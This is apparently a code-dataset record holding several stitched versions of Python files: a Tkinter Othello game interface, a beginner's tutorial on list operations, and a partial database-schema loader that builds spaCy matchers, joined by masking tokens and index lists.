activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0
)
Use_Board.pack(side='right', padx=10)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def Setup_Board(self):
for widget in self.Board_Area.winfo_children():
widget.destroy()
self.Board = []
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, mode='setup')
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Parse_Board(self) ->list:
new_board = []
for row in self.Board:
new_row = []
for disc in row:
if disc.Current_Color == 'white':
new_row.append('W')
elif disc.Current_Color == 'black':
new_row.append('B')
else:
new_row.append(None)
new_board.append(new_row)
return new_board
def Instructions_Display(self):
showinfo('How to use',
'Click on a tile to cycle between white, black or empty. Check the "Use Custom Board" box to use this board!'
)
def Start(self):
if self.Use_Board.get():
self.controller.Handler.GameParams['board'] = self.Parse_Board()
self.controller.Begin_Game()
self.controller.Pages['Game'].__GUI_init__()
self.controller.Pages['Game'].Update_Board()
self.controller.showPage('Game')
class Game(tk.Frame):
FrameName = 'Game'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Status_Bar = tk.Frame(self, bg='white')
self.Status_Bar.pack(side='top', fill='x')
self.Status_Bar.grid_columnconfigure(0, weight=1)
self.Status_Bar.grid_columnconfigure(1, weight=1)
self.Status_Bar.grid_columnconfigure(2, weight=1)
self.Status_Bar.grid_rowconfigure(0, weight=1)
self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=
'white', font=FONTS['medium'])
self.Current_Player.grid(row=0, column=0)
self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',
font=FONTS['medium'])
self.Game_Type.grid(row=0, column=1)
self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',
bg='white', font=FONTS['medium'])
self.Score.grid(row=0, column=2)
self.Board_Area = tk.Frame(self, bg='#009900')
self.Board_Area.pack(side='top', fill='both', expand=True)
self.Board = []
def __GUI_init__(self):
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width / self.controller.Handler.GameParams[
'x_size']
else:
diameter = height / self.controller.Handler.GameParams[
'y_size']
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=
diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)
)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
self.Update_Board()
def Reset_Game(self):
self.Board = []
for widget in self.Board_Area.winfo_children():
widget.destroy()
def Disc_Function(self, x: int, y: int):
if not self.controller.Handler.Move(x + 1, y + 1):
self.Invalid_Move()
def Invalid_Move(self):
showerror('Invalid Move', 'You cannot move there!')
def Update_Board(self):
for y in range(len(self.Board)):
for x in range(len(self.Board[y])):
game_piece = self.controller.Handler.Game.Board[y][x]
if game_piece == None:
pass
elif game_piece == 'B':
if self.Board[y][x].Current_Color != 'black':
self.Board[y][x].Set_Piece_Color('black')
elif game_piece == 'W':
if self.Board[y][x].Current_Color != 'white':
self.Board[y][x].Set_Piece_Color('white')
def Update_Current_Player(self):
self.Current_Player.config(text='Turn: ' + self.controller.
Get_Current_Player())
def Update_Game_Type(self):
g_type = self.controller.Handler.Get_Game_Type()
self.Game_Type.configure(text='Rules: ' + g_type)
def Update_Score(self):
b, w = self.controller.Handler.Get_Score()
self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))
def Full_Update(self):
self.Update_Score()
self.Update_Current_Player()
self.Update_Board()
class Postgame(tk.Frame):
FrameName = 'Postgame'
def __init__(self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg='white')
self.Title = tk.Label(self, text='Game Over!', bg='white', font=
FONTS['large'])
self.Title.pack(side='top')
Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10
)
self.Winner = tk.Label(self, text='The winner is black-discs.', bg=
'white', font=FONTS['medium'])
self.Winner.pack(side='top')
self.Buttons = tk.Frame(self, bg='white')
self.Buttons.pack()
Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Replay())
Replay.grid(row=0, column=0)
Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=
FONTS['medium'], command=lambda : self.Quit())
Quit.grid(row=0, column=1)
self.Board_Area = tk.Frame(self, bg='white')
self.Board_Area.pack(side='bottom')
self.Score = tk.Label(self.Board_Area, text='', bg='white', font=
FONTS['medium'])
self.Score.pack()
self.Board_Display = tk.Frame(self.Board_Area, bg='green')
self.Board_Display.pack()
self.Board = []
def Replay(self):
self.controller.Replay()
def Quit(self):
self.controller.destroy()
exit()
def Update_Board(self):
for widget in self.Board_Display.winfo_children():
widget.destroy()
for y in range(self.controller.Handler.GameParams['y_size']):
row = []
for x in range(self.controller.Handler.GameParams['x_size']):
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
col = None
place_col = self.controller.Handler.Game.Board[y][x]
if place_col == 'B':
col = 'black'
elif place_col == 'W':
col = 'white'
disc = wg.Disc(self.Board_Display, self.controller, col=col,
diameter=50)
disc.grid(row=y, column=x, sticky='nsew')
row.append(disc)
self.Board.append(row)
def Update(self):
winner, scores = self.controller.Handler.Get_Winner()
if winner.lower() == 'b':
winner = 'black-discs'
elif winner.lower() == 'w':
winner = 'white-discs'
else:
winner == 'no one'
self.Winner.configure(text='The winner is ' + winner)
self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(
scores[0], scores[1]))
self.Update_Board()
if __name__ == '__main__':
Window = Handler()
| import tkinter as tk
import Widgets as wg
import Logic as lgc
from tkinter.ttk import Separator
from tkinter.messagebox import showerror, showinfo
# Fonts that we can utilise
FONTS = {"large":("Helvetica", 20), "medium":("Helvetica", 16), "small":("Helvetica", 12)}
class Handler: # Handles the window and the Game interaction
def __init__(self):
# Game Handle
self.Game = None
self.GameParams = {}
# Window Handle
self.Window = Window(self)
self.Window.mainloop()
def Replay (self): # Reset attributes and classes
self.GameParams = {}
del self.Game
self.Game = None
def Is_Running (self):
return self.Game.Running
def Start_Game(self): # Begin the game, run the updates needed.
self.Game = lgc.Game(**self.GameParams)
self.Game.Start_Game()
# Update Game page
self.Update_Game()
self.Window.Pages["Game"].Update_Game_Type()
def Get_Current_Player(self) -> str: # get the current player whose turn it is
if self.Game.Running:
if self.Game.Current_Player == "B":
return "black"
else:
return "white"
else:
return "None"
def Get_Game_Type(self) -> str: # Get the game rule type
g = self.Game.Game_Type
if g == 1:
return "SIMPLE"
else:
return "FULL"
def Get_Score(self) -> tuple: # Get the current score
s = self.Game.Get_Discs()
return s[0], s[1] # b, w
def Move(self, x: int, y: int) -> bool: # Make a move on a given place
complete = self.Game.Next_Move(x, y)
if complete:
self.Update_Game()
self.Game_Complete_Check()
return True
self.Update_Game()
self.Game_Complete_Check()
return False
def Get_Winner(self) -> tuple: # Gets the winner of the game
return self.Game.Check_Winner()
def Game_Complete_Check(self): # Check if the game is over and act accordingly
if self.Is_Running() == False:
# Run Game Over feature here
self.Window.showPage("Postgame")
# Update the post page
self.Window.Pages["Postgame"].Update()
def Update_Game(self): # Run a full update on the game
self.Window.Pages["Game"].Full_Update()
class Window (tk.Tk): # This will be the main window of the GUI
def __init__ (self, controller, *args, **kwargs):
tk.Tk.__init__(self, *args, **kwargs)
self.Handler = controller # This is handler between the game and window
# Root attributes
self.title("Othello")
try:
self.iconbitmap("Icon.ico")
except:
pass
self.minsize(600, 600)
#self.maxsize(1000,1000)
# Master frame
self.container = tk.Frame(self)
self.container.pack(side="top", fill="both", expand=True)
self.container.grid_rowconfigure(0, weight=1)
self.container.grid_columnconfigure(0, weight=1)
# Set up the pages
self.Pages = {}
for page in (Pregame, Custom_Board, Game, Postgame):
# Initiate each page and add them to the dictionary
# Dictionary will use the name of the class so that it can be accessed
# without the knowledge of the clas name
new = page(self.container, self)
self.Pages[page.FrameName] = new
new.grid(row=0, column=0, sticky="nsew")
# Show the initial page
self.showPage("Pregame")
# Window
def showPage(self, pagename: str): # Show a chosen page
page = self.Pages[pagename]
page.tkraise()
# Game
def Begin_Game(self): # Start the game
self.Handler.Start_Game()
def Get_Current_Player (self) -> str: # Get the current player
return self.Handler.Get_Current_Player()
def Replay(self): # Clean up the old game, start an new one
self.Pages["Pregame"].__GUI_Reset__()
self.Pages["Game"].Reset_Game()
self.Handler.Replay()
self.showPage("Pregame")
class Pregame (tk.Frame): # The 'home' screen
FrameName = "Pregame"
def __init__ (self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg="white")
self.set_vals = []
self.__GUI_Reset__()
def __GUI_Reset__(self): # This will clean the screen and then recreate it, this is essential for replaying the game
for widget in self.winfo_children():
widget.destroy()
# Title Banner
tk.Label(self, text="Otello", font=FONTS["large"], bg="white").pack(side="top")
Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10)
# Rule Set
rule_set_frame = tk.Frame(self, bg="white")
rule_set_frame.pack(pady=10)
# Subheading
self.rs_label = tk.Label(rule_set_frame, text="Rule Set", font=FONTS["medium"], bg="white")
self.rs_label.pack(side="top")
self.full_btn = tk.Button(rule_set_frame, text="FULL", font=FONTS["medium"], bg="#bbbbbb",
command=lambda:self.Select_Rule_Set("full"))
self.full_btn.pack()
self.simple_btn = tk.Button(rule_set_frame, text="SIMPLE", font=FONTS["medium"], bg="#bbbbbb",
command=lambda:self.Select_Rule_Set("simple"))
self.simple_btn.pack()
# Row Size
row_frame = tk.Frame(self, bg="white")
row_frame.pack(pady=10)
self.row_label = tk.Label(row_frame, text="Board Rows", font=FONTS["medium"], bg="white")
self.row_label.grid(row=0, column=0, columnspan=7)
self.Rows_Buttons = []
place = 0
for rows in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(row_frame, text=str(rows), font=FONTS["small"], bg="#bbbbbb",
command=lambda rows=rows: self.Select_Rows(rows))
x.grid(row=1, column=place)
self.Rows_Buttons.append(x)
place += 1
# Column Size
col_frame = tk.Frame(self, bg="white")
col_frame.pack(pady=10)
self.col_label = tk.Label(col_frame, text="Board Columns", font=FONTS["medium"], bg="white")
self.col_label.grid(row=0, column=0, columnspan=7)
self.Cols_Buttons = []
place = 0
for cols in [4, 6, 8, 10, 12, 14, 16]:
x = tk.Button(col_frame, text=str(cols), font=FONTS["small"], bg="#bbbbbb",
command=lambda cols=cols: self.Select_Cols(cols))
x.grid(row=1, column=place)
self.Cols_Buttons.append(x)
place += 1
# First to Move
first_move_frame = tk.Frame(self, bg="white")
first_move_frame.pack(pady=10)
self.first_move_label = tk.Label(first_move_frame, text="First to move", bg="white", font=FONTS["medium"])
self.first_move_label.grid(row=0, column=0, columnspan=2)
self.black_btn = tk.Button(first_move_frame, text="Black", bg="#bbbbbb", font=FONTS["medium"],
command=lambda:self.Select_First_Move("black"))
self.black_btn.grid(row=1, column=0)
self.white_btn = tk.Button(first_move_frame, text="White", bg="#bbbbbb", font=FONTS["medium"],
command=lambda:self.Select_First_Move("white"))
self.white_btn.grid(row=1, column=1)
# How to win
condition_frame = tk.Frame(self, bg="white")
condition_frame.pack(pady=10)
self.condition_label = tk.Label(condition_frame, text="The winner is, the player with..",
bg="white", font=FONTS["medium"])
self.condition_label.grid(row=0, column=0, columnspan=2)
self.greater_score = tk.Button(condition_frame, text="more discs.", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Select_Condition(">"))
self.greater_score.grid(row=1, column=0)
self.lesser_score = tk.Button(condition_frame, text="less discs.", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Select_Condition("<"))
self.lesser_score.grid(row=1, column=1)
# Start the game button
self.Start_Game_Btn = tk.Button(self, text="Start", bg="#ff2222", activebackground="#992222",
font=FONTS["medium"])
self.Start_Game_Btn.pack(side="bottom")
def Select_Rule_Set(self, _set: str): # sets the rule set of the game
if _set == "simple":
self.controller.Handler.GameParams["game_type"] = 1 # Corresponds to the game logic
else:
self.controller.Handler.GameParams["game_type"] = 2
self.full_btn.destroy()
self.simple_btn.destroy()
self.rs_label.configure(text="Rule Set: " + _set.upper())
self.set_vals.append("rules")
self.Check_Can_Start()
def Select_Rows(self, rows: int): # Sets the rows of the board
self.controller.Handler.GameParams["y_size"] = rows
for button in self.Rows_Buttons:
button.destroy()
self.row_label.configure(text="Board Rows: " + str(rows))
self.set_vals.append("rows")
self.Check_Can_Start()
def Select_Cols(self, cols: int): # sets the columns of the board
self.controller.Handler.GameParams["x_size"] = cols
for button in self.Cols_Buttons:
button.destroy()
self.col_label.configure(text="Board Columns: " + str(cols))
self.set_vals.append("cols")
self.Check_Can_Start()
def Select_First_Move (self, mover: str): # Sets the first player to make a move
if mover == "black":
self.controller.Handler.GameParams["first_move"] = "B"
else:
self.controller.Handler.GameParams["first_move"] = "W"
self.black_btn.destroy()
self.white_btn.destroy()
self.first_move_label.configure(text="First to move: " + mover)
self.set_vals.append("move")
self.Check_Can_Start()
def Select_Condition(self, condition: str):# This will set the game win condition
self.controller.Handler.GameParams["game_winner"] = condition
if condition == ">":
self.condition_label.configure(text="The winner is, the player with more discs.")
else:
self.condition_label.configure(text="The winner is, the player with less discs.")
self.lesser_score.destroy()
self.greater_score.destroy()
self.set_vals.append("win")
self.Check_Can_Start()
def Check_Can_Start (self): # This will start the game if the game can be started
if "rules" in self.set_vals and\
"rows" in self.set_vals and\
"cols" in self.set_vals and\
"move" in self.set_vals and\
"win" in self.set_vals:
self.Start_Game_Btn.configure(bg="#22ff22", activebackground="#229922",
command=lambda: self.Start_Custom_Board())
def Start_Custom_Board (self):
self.controller.Pages["Setup_Board"].Setup_Board()
self.controller.showPage("Setup_Board")
self.controller.Pages["Setup_Board"].Instructions_Display()
class Custom_Board (tk.Frame):
FrameName = "Setup_Board"
def __init__ (self, parent, controller):
tk.Frame.__init__ (self, parent)
self.controller = controller
self.configure(bg="white")
# Title bar
self.Title_Frame = tk.Frame(self, bg="white")
self.Title_Frame.pack(side="top", fill="x")
# Title
tk.Label(self.Title_Frame, text="Create Custom Board", bg="white", font=FONTS["medium"]).pack(side="left")
# Start Button
start = tk.Button(self.Title_Frame, text="Play", bg="#22ff22", activebackground="#229922", font=FONTS["medium"],
command=lambda: self.Start())
start.pack(side="right")
# Use custom Board check button
self.Use_Board = tk.IntVar()
Use_Board = tk.Checkbutton(self.Title_Frame, text="Use custom board", font=FONTS["medium"],
bg="white", activebackground="white",
var=self.Use_Board, onvalue=1, offvalue=0)
Use_Board.pack(side="right", padx=10)
# Board
self.Board_Area = tk.Frame(self, bg="#009900")
self.Board_Area.pack(side="top", fill="both", expand=True)
self.Board = []
def Setup_Board (self):
for widget in self.Board_Area.winfo_children():
widget.destroy()
self.Board = []
for y in range(self.controller.Handler.GameParams["y_size"]):
row = []
for x in range(self.controller.Handler.GameParams["x_size"]):
# Diameter with respond to the length of the shortest side of the board
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width/self.controller.Handler.GameParams["x_size"]
else:
diameter = height/self.controller.Handler.GameParams["y_size"]
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter, mode="setup")
disc.grid(row=y, column=x, sticky="nsew")
row.append(disc)
self.Board.append(row)
def Parse_Board (self) -> list: # This will parse the GUI board and create a board that will work for the Game()
new_board = []
for row in self.Board:
new_row = []
for disc in row:
if disc.Current_Color == "white":
new_row.append("W")
elif disc.Current_Color == "black":
new_row.append("B")
else:
new_row.append(None)
new_board.append(new_row)
return new_board
def Instructions_Display(self):
showinfo("How to use", "Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!")
def Start (self): # This will check if the user wants to use a custom board and then will set Game board to be the users selection
if self.Use_Board.get():
self.controller.Handler.GameParams["board"] = self.Parse_Board()
self.controller.Begin_Game()
self.controller.Pages["Game"].__GUI_init__()
self.controller.Pages["Game"].Update_Board()
self.controller.showPage("Game")
class Game (tk.Frame): # This is the 'stage' where the game will be played.
FrameName = "Game"
def __init__ (self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg="white")
# Status Bar
self.Status_Bar = tk.Frame(self, bg="white")
self.Status_Bar.pack(side="top", fill="x")
self.Status_Bar.grid_columnconfigure(0, weight=1)
self.Status_Bar.grid_columnconfigure(1, weight=1)
self.Status_Bar.grid_columnconfigure(2, weight=1)
self.Status_Bar.grid_rowconfigure(0, weight=1)
self.Current_Player = tk.Label(self.Status_Bar, text="None", bg="white", font=FONTS["medium"])
self.Current_Player.grid(row=0, column=0)
self.Game_Type = tk.Label(self.Status_Bar, text="FULL", bg="white", font=FONTS["medium"])
self.Game_Type.grid(row=0, column=1)
self.Score = tk.Label(self.Status_Bar, text="Black: 2 | 2:White", bg="white", font=FONTS["medium"])
self.Score.grid(row=0, column=2)
# Board
self.Board_Area = tk.Frame(self, bg="#009900")
self.Board_Area.pack(side="top", fill="both", expand=True)
self.Board = []
def __GUI_init__ (self): # This will initiate the game board once all the datya is provided.
for y in range(self.controller.Handler.GameParams["y_size"]):
row = []
for x in range(self.controller.Handler.GameParams["x_size"]):
# Diameter with respond to the length of the shortest side of the board
height = self.Board_Area.winfo_height()
width = self.Board_Area.winfo_width()
if height > width:
diameter = width/self.controller.Handler.GameParams["x_size"]
else:
diameter = height/self.controller.Handler.GameParams["y_size"]
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
disc = wg.Disc(self.Board_Area, self.controller, diameter=diameter,
command= lambda x=x, y=y: self.Disc_Function(x, y))
disc.grid(row=y, column=x, sticky="nsew")
row.append(disc)
self.Board.append(row)
self.Update_Board()
def Reset_Game(self): #This will reset the game board to its initial state
self.Board = []
for widget in self.Board_Area.winfo_children():
widget.destroy()
def Disc_Function (self, x: int, y: int): # This is the function run when the player clicks a disc slot/disc
if not self.controller.Handler.Move(x+1, y+1): # Try run the Move function on the Handler
self.Invalid_Move()
def Invalid_Move(self): # This command will run when a player tries to make a move thats not possible
showerror("Invalid Move", "You cannot move there!")
def Update_Board (self): # Update the board to mathe the Game() board
for y in range(len(self.Board)):
for x in range(len(self.Board[y])):
game_piece = self.controller.Handler.Game.Board[y][x]
if game_piece == None:
pass
elif game_piece == "B":
if self.Board[y][x].Current_Color != "black":
self.Board[y][x].Set_Piece_Color("black")
elif game_piece == "W":
if self.Board[y][x].Current_Color != "white":
self.Board[y][x].Set_Piece_Color("white")
def Update_Current_Player (self): # Update the current player identifier
self.Current_Player.config(text="Turn: " + self.controller.Get_Current_Player())
def Update_Game_Type(self): # Update the game type identifier
g_type = self.controller.Handler.Get_Game_Type()
self.Game_Type.configure(text="Rules: " + g_type)
def Update_Score (self): # Update the score identifier
b, w = self.controller.Handler.Get_Score()
self.Score.configure(text="Black: {0!s} | {1!s} :White".format(b, w))
def Full_Update(self): # Run a full update on the graphics
self.Update_Score()
self.Update_Current_Player()
self.Update_Board()
class Postgame (tk.Frame): # The 'end game' screen
FrameName = "Postgame"
def __init__ (self, parent, controller):
tk.Frame.__init__(self, parent)
self.controller = controller
self.configure(bg="white")
# Set a page title
self.Title = tk.Label(self, text="Game Over!", bg="white", font=FONTS["large"])
self.Title.pack(side="top")
Separator(self, orient="horizontal").pack(side="top", fill="x", padx=10)
# Set the winner text object
self.Winner = tk.Label(self, text="The winner is black-discs.", bg="white", font=FONTS["medium"])
self.Winner.pack(side="top")
# Create the replay and exit buttons
self.Buttons = tk.Frame(self, bg="white")
self.Buttons.pack()
Replay = tk.Button(self.Buttons, text="Replay", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Replay())
Replay.grid(row=0, column=0)
Quit = tk.Button(self.Buttons, text="Quit", bg="#bbbbbb", font=FONTS["medium"],
command=lambda: self.Quit())
Quit.grid(row=0, column=1)
# the area for the board output
self.Board_Area = tk.Frame(self, bg="white")
self.Board_Area.pack(side="bottom")
# Score text
self.Score = tk.Label(self.Board_Area, text="", bg="white", font=FONTS["medium"])
self.Score.pack()
# The display for the board
self.Board_Display = tk.Frame(self.Board_Area, bg="green")
self.Board_Display.pack()
self.Board = []
def Replay(self): # Initiate the Replay
self.controller.Replay()
def Quit(self): # Kill the game
self.controller.destroy()
exit()
def Update_Board (self): # Update the game board display, kill old, create new
for widget in self.Board_Display.winfo_children():
widget.destroy()
for y in range(self.controller.Handler.GameParams["y_size"]):
row = []
for x in range(self.controller.Handler.GameParams["x_size"]):
self.Board_Area.grid_columnconfigure(x, weight=1)
self.Board_Area.grid_rowconfigure(y, weight=1)
col = None
place_col = self.controller.Handler.Game.Board[y][x]
if place_col == "B":
col = "black"
elif place_col == "W":
col = "white"
disc = wg.Disc(self.Board_Display, self.controller, col=col, diameter=50)
disc.grid(row=y, column=x, sticky="nsew")
row.append(disc)
self.Board.append(row)
def Update(self): # Update the whole page
winner, scores = self.controller.Handler.Get_Winner()
if winner.lower() == "b":
winner = "black-discs"
elif winner.lower() == "w":
winner = "white-discs"
else:
winner == "no one"
self.Winner.configure(text="The winner is " + winner)
self.Score.configure(text="Black: {0!s} | {1!s}:White".format(scores[0], scores[1]))
self.Update_Board()
if __name__ == "__main__":
Window = Handler()
| [
31,
36,
45,
57,
59
] |
9,935 | 1c134cba779459b57f1f3c195aed37d105b94aef | <mask token>
| <mask token>
print('my_list consists of: ', my_list)
print()
print('Operations similar to strings')
print('Concatenation')
print("my_list + ['bill'] equals: ", my_list + ['bill'])
print()
print('Repeat')
print('my_list * 3 equals: ', my_list * 3)
print()
print('Indexing')
print('1st element is my_list[0]: ', my_list[0])
print('last element is my_list[-1]: ', my_list[-1])
print()
print('Slicing')
print('First two elements are my_list[0:2]: ', my_list[0:2])
print('Last two elements are my_list[-2:]: ', my_list[-2:])
print('Slice assignment, my_list[:2]=[]: ')
<mask token>
print('my_list is: ', my_list)
print()
print('Length')
print('Length is len(my_list): ', len(my_list))
print()
print('New stuff, which modifies the list (not for strings)')
print('Append element to the end, my_list.append(True): ')
my_list.append(True)
print('my_list is: ', my_list)
print('Append list into the list, my_list.append([5,6]): ')
my_list.append([5, 6])
print('my_list is: ', my_list)
print()
print('Extend, can append all elements in a list')
print("Extend single element to the end, my_list.extend('z'): ")
my_list.extend('z')
print('my_list is: ', my_list)
print('Extend a list of elements, my_list.extend([5,6,7]): ')
my_list.extend([5, 6, 7])
print('my_list is: ', my_list)
print()
print('Delete elements')
print('Delete the first element, del my_list[0]: ')
del my_list[0]
print('my_list is: ', my_list)
print('Delete last 4 elements, del my_list[-4:]: ')
del my_list[-4:]
print('my_list is: ', my_list)
| my_list = [1, 'a', 3.14]
print('my_list consists of: ', my_list)
print()
print('Operations similar to strings')
print('Concatenation')
print("my_list + ['bill'] equals: ", my_list + ['bill'])
print()
print('Repeat')
print('my_list * 3 equals: ', my_list * 3)
print()
print('Indexing')
print('1st element is my_list[0]: ', my_list[0])
print('last element is my_list[-1]: ', my_list[-1])
print()
print('Slicing')
print('First two elements are my_list[0:2]: ', my_list[0:2])
print('Last two elements are my_list[-2:]: ', my_list[-2:])
print('Slice assignment, my_list[:2]=[]: ')
my_list[:2] = []
print('my_list is: ', my_list)
print()
print('Length')
print('Length is len(my_list): ', len(my_list))
print()
print('New stuff, which modifies the list (not for strings)')
print('Append element to the end, my_list.append(True): ')
my_list.append(True)
print('my_list is: ', my_list)
print('Append list into the list, my_list.append([5,6]): ')
my_list.append([5, 6])
print('my_list is: ', my_list)
print()
print('Extend, can append all elements in a list')
print("Extend single element to the end, my_list.extend('z'): ")
my_list.extend('z')
print('my_list is: ', my_list)
print('Extend a list of elements, my_list.extend([5,6,7]): ')
my_list.extend([5, 6, 7])
print('my_list is: ', my_list)
print()
print('Delete elements')
print('Delete the first element, del my_list[0]: ')
del my_list[0]
print('my_list is: ', my_list)
print('Delete last 4 elements, del my_list[-4:]: ')
del my_list[-4:]
print('my_list is: ', my_list)
| # wfp, 6/6
# simple list stuff
my_list = [1,'a',3.14]
print("my_list consists of: ",my_list)
print()
print("Operations similar to strings")
print("Concatenation")
print("my_list + ['bill'] equals: ", my_list + ["bill"])
print()
print("Repeat")
print("my_list * 3 equals: ", my_list * 3)
print()
print("Indexing")
print("1st element is my_list[0]: ",my_list[0])
print("last element is my_list[-1]: ", my_list[-1])
print()
print("Slicing")
print("First two elements are my_list[0:2]: ",my_list[0:2])
print("Last two elements are my_list[-2:]: ",my_list[-2:])
print("Slice assignment, my_list[:2]=[]: ")
my_list[:2] = []
print("my_list is: ",my_list)
print()
print("Length")
print("Length is len(my_list): ",len(my_list))
print()
print("New stuff, which modifies the list (not for strings)")
print("Append element to the end, my_list.append(True): ")
my_list.append(True)
print("my_list is: ",my_list)
print("Append list into the list, my_list.append([5,6]): ")
my_list.append([5,6])
print("my_list is: ",my_list)
print()
print("Extend, can append all elements in a list")
print("Extend single element to the end, my_list.extend('z'): ")
my_list.extend('z')
print("my_list is: ",my_list)
print("Extend a list of elements, my_list.extend([5,6,7]): ")
my_list.extend([5,6,7])
print("my_list is: ",my_list)
print()
print("Delete elements")
print("Delete the first element, del my_list[0]: ")
del(my_list[0])
print("my_list is: ",my_list)
print("Delete last 4 elements, del my_list[-4:]: ")
del(my_list[-4:])
print("my_list is: ",my_list)
| null | [
0,
1,
2,
3
] |
9,936 | 76ebab93441676f9f00b2c2d63435e72c2d5d1ba | <mask token>
class DBModel(object):
<mask token>
<mask token>
<mask token>
<mask token>
| <mask token>
class DBModel(object):
<mask token>
<mask token>
def get_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.
name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + '_COLUMN', None, nlp(
column.name.lower()))
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + '_TABLE', None, nlp(
synonym.synonym.lower()))
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + '_COLUMN', None, nlp(
synonym.synonym.lower()))
return matcher
<mask token>
| <mask token>
class DBModel(object):
<mask token>
def load_db_model(self):
cursor = self.conn.cursor()
cursor.execute(self.config.get_tables_sql_query())
for row in cursor:
self.entities.append(Entities(row.table_name, self.config.
get_default_column(row.table_name)))
cursor.execute(self.config.get_columns_sql_query())
current_entity = None
current_entity_name = ''
for row in cursor:
if current_entity_name != row.table_name:
current_entity_name = row.table_name
current_entity = next(en for en in self.entities if en.name ==
current_entity_name)
col_type = row.type_name
if col_type == 'varchar' or col_type == 'nvarchar':
col_type = 'string'
current_entity.columns.append(Columns(row.column_name, col_type))
current_entity = None
current_entity_name = ''
cursor.execute(self.config.get_FK_sql_query())
for row in cursor:
self.relationships.append(Relationship(row.parent_table, row.
refrenced_table, row.parent_table_col, row.
referenced_table_col))
if len([en for en in self.entity_graph if en[0] == row.
parent_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[
0] == row.parent_table)
current_entity[1].append(row.refrenced_table)
else:
self.entity_graph.append((row.parent_table, [row.
refrenced_table]))
if len([en for en in self.entity_graph if en[0] == row.
refrenced_table]) > 0:
current_entity = next(en for en in self.entity_graph if en[
0] == row.refrenced_table)
current_entity[1].append(row.parent_table)
else:
self.entity_graph.append((row.refrenced_table, [row.
parent_table]))
current_entity = None
current_entity_name = ''
cursor.execute(self.config.get_PK_sql_query())
for row in cursor:
if len([en for en in self.entity_graph if en[0] == row.table_name]
) == 1:
current_entity = next(en for en in self.entities if en.name ==
row.table_name)
current_entity.primaryKey = row.primary_key
for entity_to_load in self.config.get_entitites_to_load():
entity_load_query = 'select distinct ' + entity_to_load['column'
] + ' from ' + entity_to_load['entity']
cursor.execute(entity_load_query)
entity_data = entity_to_load['entity'], []
for row in cursor:
entity_data[1].append(row[0])
lemmas = self.lemmatizer(str(row[0]), u'NOUN')
for lemma in lemmas:
entity_data[1].append(str(lemma))
self.loaded_entities.append(entity_data)
for table_synonym in self.config.get_synonyms()['table']:
orginal_val = table_synonym['original']
synonyms_vals = table_synonym['synonyms']
for synonyms_val in synonyms_vals:
self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))
for column_synonym in self.config.get_synonyms()['column']:
orginal_val = column_synonym['original']
synonyms_vals = column_synonym['synonyms']
for synonyms_val in synonyms_vals:
self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))
self.columns = [column for entity in self.entities for column in
entity.columns]
def get_matcher(self, matcher, nlp):
for entity in self.entities:
matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.
name.lower()))
for column in entity.columns:
matcher.add(column.name.upper() + '_COLUMN', None, nlp(
column.name.lower()))
for synonym in self.synonyms_tab:
for entity in self.entities:
if synonym.column.lower() == entity.name.lower():
matcher.add(entity.name.upper() + '_TABLE', None, nlp(
synonym.synonym.lower()))
for synonym in self.synonyms_col:
for column in self.columns:
if synonym.column.lower() == column.name.lower():
matcher.add(column.name.upper() + '_COLUMN', None, nlp(
synonym.synonym.lower()))
return matcher
def get_custom_matcher(self, matcher, nlp):
for entity in self.entities:
